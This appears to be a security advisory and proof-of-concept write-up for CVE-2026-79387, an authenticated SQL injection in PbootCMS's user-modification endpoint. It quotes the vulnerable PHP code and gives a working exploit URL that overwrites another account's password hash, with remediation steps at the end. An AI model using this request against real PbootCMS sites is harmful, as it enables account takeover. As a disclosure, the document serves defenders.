
CVE-2026-79387の概念実証。PbootCMSのユーザー管理における認証済みSQLインジェクションで、任意のフィールド更新とアカウント乗っ取りを可能にします。
| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-79387 |
| 产品 | PbootCMS |
| 受影响版本 | 3.2.0 – 3.2.5,可能还包括更早版本 |
| 漏洞类型 | SQL注入 (CWE-89) |
| 攻击向量 | 远程(已认证) |
| CVSS 严重性 | 高危 |
| 发现者 | JihaoLi |
| 厂商 | https://www.pbootcms.com/ |
PbootCMS V3.2.5 的用户管理模块中存在一个SQL注入漏洞。该漏洞位于 /apps/admin/controller/system/UserController.php(第149行)的 mod() 方法以及 /apps/admin/model/system/UserModel.php 的 modUser() 方法中。
field 参数完全由用户通过GET请求控制,且没有任何白名单验证。value 参数同样完全由用户控制,并被直接拼接进SQL UPDATE 语句中。已认证的攻击者可以将任意数据库列指定为 field(例如 password、username、status、role),从而实现任意数据篡改。
// UserController.php - mod() 方法
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field 和 $value 直接取自 $_GET 超全局变量,并被拼接进SQL字符串中,没有任何过滤、没有白名单、也没有使用参数化查询。该字符串随后被传递给 UserModel::modUser(),后者将其转发给基类的 Model::update() 方法。由于该参数是字符串(而非数组),因此绕过了 checkKey() 字段名验证,并被原样嵌入到 SET 子句中:
UPDATE ay_user SET <用户控制字段>= '<用户控制值>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
已认证的攻击者可以:
ucode=10001 除外)。value 参数允许单引号转义,可能引发堆叠查询或基于恒真条件的攻击。这将导致账户接管和对CMS后端的完全控制。
192.168.1.104、Apache/PHP 7.2.1/SQLite 环境下测试)访问 PbootCMS 管理后台,并使用默认的 admin 账户登录。

导航至 系统管理 → 用户管理 → 添加用户。创建一个新用户:
admin2admin
用户列表确认 admin2 的 ucode=10002:

打开一个新的浏览器窗口。尝试以 admin2 身份使用密码 123456 登录 — 此操作失败,因为实际密码是 admin:

使用已登录管理员的浏览器,访问:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291是123456的MD5哈希值。
mod() 方法执行注入并通过 location(-1) 进行重定向:

现在尝试使用 admin2 / 123456 登录:

密码已通过SQL注入成功更改。 用户现在可以使用新密码登录,确认了完整的账户接管。

当 update() 接收到字符串参数时,该参数会原样用于 SET 子句中,不做任何转义:
final public function update($data = null)
{
if (is_array($data)) {
// 数组路径:checkKey() 验证字段名
...
} else {
// 字符串路径:完全没有验证
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // 直接执行,无预处理语句
}
field 参数进行白名单验证 — 仅允许已知的列名(status、username、realname、password)。$value 进行过滤,以防止引号逃逸。field 为 password,在存储前对值应用 encrypt_string()。mod() 中的“单字段修改”分支应要求有效的CSRF令牌和角色级授权检查。披露:此漏洞已负责任地向厂商披露。如果您正在运行受影响的版本,请立即更新并审计所有后端账户。